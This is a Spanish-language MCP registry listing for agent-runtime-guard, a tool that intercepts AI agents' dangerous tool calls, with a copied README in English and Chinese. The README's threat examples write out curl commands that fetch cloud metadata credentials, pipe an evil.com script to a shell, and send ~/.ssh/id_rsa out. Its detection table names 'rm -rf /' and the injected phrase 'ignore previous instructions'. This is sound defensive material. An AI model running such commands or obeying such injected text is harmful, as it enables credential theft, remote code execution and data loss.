Spec Driven Development
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Descripción del creador (original en inglés)
Agent 运行时全栈拦截: allow/deny tool calls, Ed25519 receipts, blocks RCE, theft, SSRF, injection. stdio.
Estos tres nunca se combinan en una sola puntuación: las opiniones, las mediciones y la popularidad son cosas distintas.
Todavía no escribimos un resumen sencillo para este. Abajo están los datos que leímos del registro.
Elige la app de IA que usas y copia la configuración.
Necesitas
¿Qué app usas?
Elige tu app arriba. La recordamos, así que la próxima vez el botón dirá “Instalar en …”.
Abre Claude Desktop → Settings → Developer → Edit Config y pega esto en claude_desktop_config.json
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}Ejecuta esto en tu terminal
claude mcp add agent-runtime-guard -- npx -y agent-runtime-guardPégalo en .cursor/mcp.json de tu proyecto, o en ~/.cursor/mcp.json
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}Tu navegador te pide permiso para abrir la app; luego la app muestra la configuración y te pide confirmar. Los valores de las claves quedan vacíos para que los completes tú.
Pégalo en .vscode/mcp.json de tu proyecto
{
"servers": {
"agent-runtime-guard": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}Tu navegador te pide permiso para abrir la app; luego la app muestra la configuración y te pide confirmar. Los valores de las claves quedan vacíos para que los completes tú.
Este se ejecuta en tu computadora, y ChatGPT solo puede conectarse a servidores en internet. Elige otra app.
Tu elección se guarda en una cookie en este dispositivo; no necesitas cuenta.
Esta configuración se genera a partir de la ficha del creador en el registro. Si el README dice otra cosa, sigue el README.
Se ejecuta en tu computadora; la lista de herramientas aparece en tu app de IA después de instalarlo.
Revisamos información que cualquiera puede ver; no hemos leído el código. Las revisiones que no aplican no se cuentan. · Revisado el 6 nov 2026
El nombre en el registro se verificó con la cuenta de GitHub DSHCorrectover, dueña del repo
Todavía no hemos leído este repo en GitHub
Todavía no hemos leído este repo en GitHub
Este se ejecuta en tu computadora; no hay endpoint en internet
Se ejecuta en tu computadora y usa ajustes locales en su lugar
Se ejecuta en tu computadora; solo podemos leer listas de herramientas de endpoints en internet
Comparado con todos los servidores activos de esta categoría en el registro. Las estrellas solo cuentan cuando quien lo publica es dueño del repo.
Superó 1 de 1 revisiones básicas aplicables. No hemos leído el código. Antes de agregar una clave o un token, revisa qué acceso pide el servidor y usa una clave que tenga solo los permisos que necesitas.
El registro no indica ninguna clave obligatoria, aunque algunos servidores te piden iniciar sesión la primera vez que los usas.
Se ejecuta en tu computadora. Tu app de IA lo inicia cuando hace falta, y los datos no pasan por los servidores del creador (a menos que el propio servidor llame a un servicio en línea).
El repo de GitHub cambió por última vez –, y la última versión (1.0.0) llegó al registro hace 32 días.
Las apps compatibles con MCP, como Claude Desktop, Claude Code, Cursor y VS Code. También necesitas Node.js en tu computadora.
En la misma categoría: Spec Driven Development, Remote Desktop Commander, dotnet-mcp
Servidores de la misma categoría hechos por otros creadores, ordenados por estrellas.
Cómo leer una tarjeta:★ Estrellas de GitHubiTres pilares: reseñas · revisiones · usoiActualizado = fecha en que se publicó la última versión en el registroi
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.
MCP server for .NET symbols, XAML, source generators, and restricted workspace edit
Copiado tal cual del repo del creador. PopNx MCP no lo ha revisado ni lo respalda. Se quitaron HTML, imágenes y scripts. Los enlaces llevan fuera de este sitio.
Reference implementation of CCS (IETF draft-correctover-ccs — Internet-Draft, not an RFC).
Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains before execution — and emits Ed25519-signed evidence receipts verifiable fully offline (VERIFIED trust level).
中文说明见下方 中文
Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt
↓ SSRF · Command Injection · Credential Exfil · Prompt Injection
Works with: Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy
Your agent has shell, network, and cloud credentials. One bad tool call can:
curl "http://169.254.169.254/latest/meta-data/" # cloud credential theft
curl https://evil.com/x.sh | sh # RCE cat ~/.ssh/id_rsa | curl -d @- https://evil.com # exfil chain
Keyword denylists and “confirm” dialogs are not enough. Prefix allow rules (git status*) are bypassed with ;, &&, and pipes. Remote LLM judges fail open when the network dies.
Agent Runtime Guard sits between the agent and the dangerous operation. Decisions are local, synchronous, and fail-closed (error / timeout → deny). Every decision ships a receipt.
[INSTALL.md](./INSTALL.md) — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.
npx -y agent-runtime-guard
MCP client config:
{
"mcpServers": { "agent-runtime-guard": { "command": "npx", "args": ["-y", "agent-runtime-guard"] } } }
No API key. No account. First run generates an Ed25519 keypair (persist with CCS_KEY_DIR or CCS_PRIVATE_KEY / CCS_PUBLIC_KEY).
Scan configs without installing a long-lived process:
npx correctover-scan --demo
| Vector | Examples | |
|---|---|---|
| Command injection | ; rm -rf /, `curl\ | sh, IEX(...), eval()` |
| Path traversal | ../, /etc/passwd, /proc/self/ | |
| SSRF | 169.254.169.254, localhost, private ranges — across any tool | |
| Cross-tool exfil | read secrets → network send (exfil_chain) | |
| Credential leak | API keys / secrets in args or tool output | |
| Prompt injection | “ignore previous instructions” in tool results | |
| Parameter drift | plan amount:100, execute amount:10000 |
| Capability | Agent Runtime Guard | Config scanners | Egress proxies (e.g. Pipelock) | Discovery / posture platforms |
|---|---|---|---|---|
| Control point | Pre-execution tool call | Static config | Network egress | Inventory & permissions |
| Fail-closed local decide | Yes | N/A | Depends | Usually platform-side |
| Offline Ed25519 receipts | Yes | Rare | Some (signed action receipts) | Platform logs |
| Zero runtime deps | Yes (Node stdlib) | Varies | Binary / proxy | SaaS |
| MCP native (stdio server) | Yes | Scan-only | Proxy / wrapper | Connectors |
Public npx demo | Yes | Often | Binary install | Demo call |
We are not a replacement for discovery platforms or full egress firewalls. They answer “what agents exist / what can leave the network.” We answer: **“Can *this* tool call execute *now*, and here is a receipt.”**
Use together when you need both posture and enforcement.
Every Allow / Block produces:
content_hash + evidence_hashparent_evidence_hash)Verify offline with the built-in verify_receipt tool or any Ed25519 library. No need to trust the operator’s dashboard.
Background: CCS 7-dimension draft (personal Internet-Draft — not an RFC, not IETF endorsement).
| Tool | Purpose |
|---|---|
verify_tool_call | 7-dimension runtime check + semantic chains — default deny |
issue_evidence | Tamper-evident receipt (allow and block) |
audit_mcp_config | Config risk audit |
verify_intent_binding | Plan vs execute parameter binding |
verify_receipt | Offline signature / tamper check |
| Package | Role |
|---|---|
agent-runtime-guard | This runtime interceptor |
correctover | SDK + GuardrailProvider + DSH plugin |
correctover-scan | MCP / agent config scanner |
agent-runtime-proxy | Transparent stdio proxy |
| mcp-atlas-census | 229,827 tool records (CC0) |
| Offering | Price (USD) |
|---|---|
| Runtime intercept + Ed25519 receipts (this package) | Free |
| Config / bundle scan (correctover-scan) | Free |
| Standard human audit (CCS-mapped, evidence-grade) | $2,500 |
| Deep audit + PoC + remediation roadmap | $8,000+ |
| Private deploy / integration support | $5,000 |
| Annual retainer (monitoring + emergency) | $25,000/yr |
Formal quote follows written scoping (async email only). Contact: wangguigui@correctover.com
GTM: correctover-gtm.pages.dev
给 AI Agent 配一个运行时保安:删库、偷密钥、闯内网、被注入——当场拦下。
不是事后审计:危险动作在执行前 fail-closed 拦截;每次裁决附带 Ed25519 可离线验证收据。
npx -y agent-runtime-guard
命令注入 · 路径穿越 · SSRF(含云元数据)· 跨工具外传 · 凭证外泄 · 提示注入 · 参数漂移
| 场景 | 方式 |
|---|---|
| MCP 客户端 | mcpServers 配置如上 |
DeepSeek Harness(v0.2.1+,插件随本包 dsh/ 附带) | harness 内 dsh plugin add agent-runtime-guard;未部署 harness 时用 MCP 或代理方式 |
| 不信任宿主插件 | agent-runtime-proxy 透明代理 |
发现类回答「有哪些 Agent」。我们回答「这一次调用能不能执行,并留下证据」。可并存。
Elastic License 2.0 (ELv2). See LICENSE.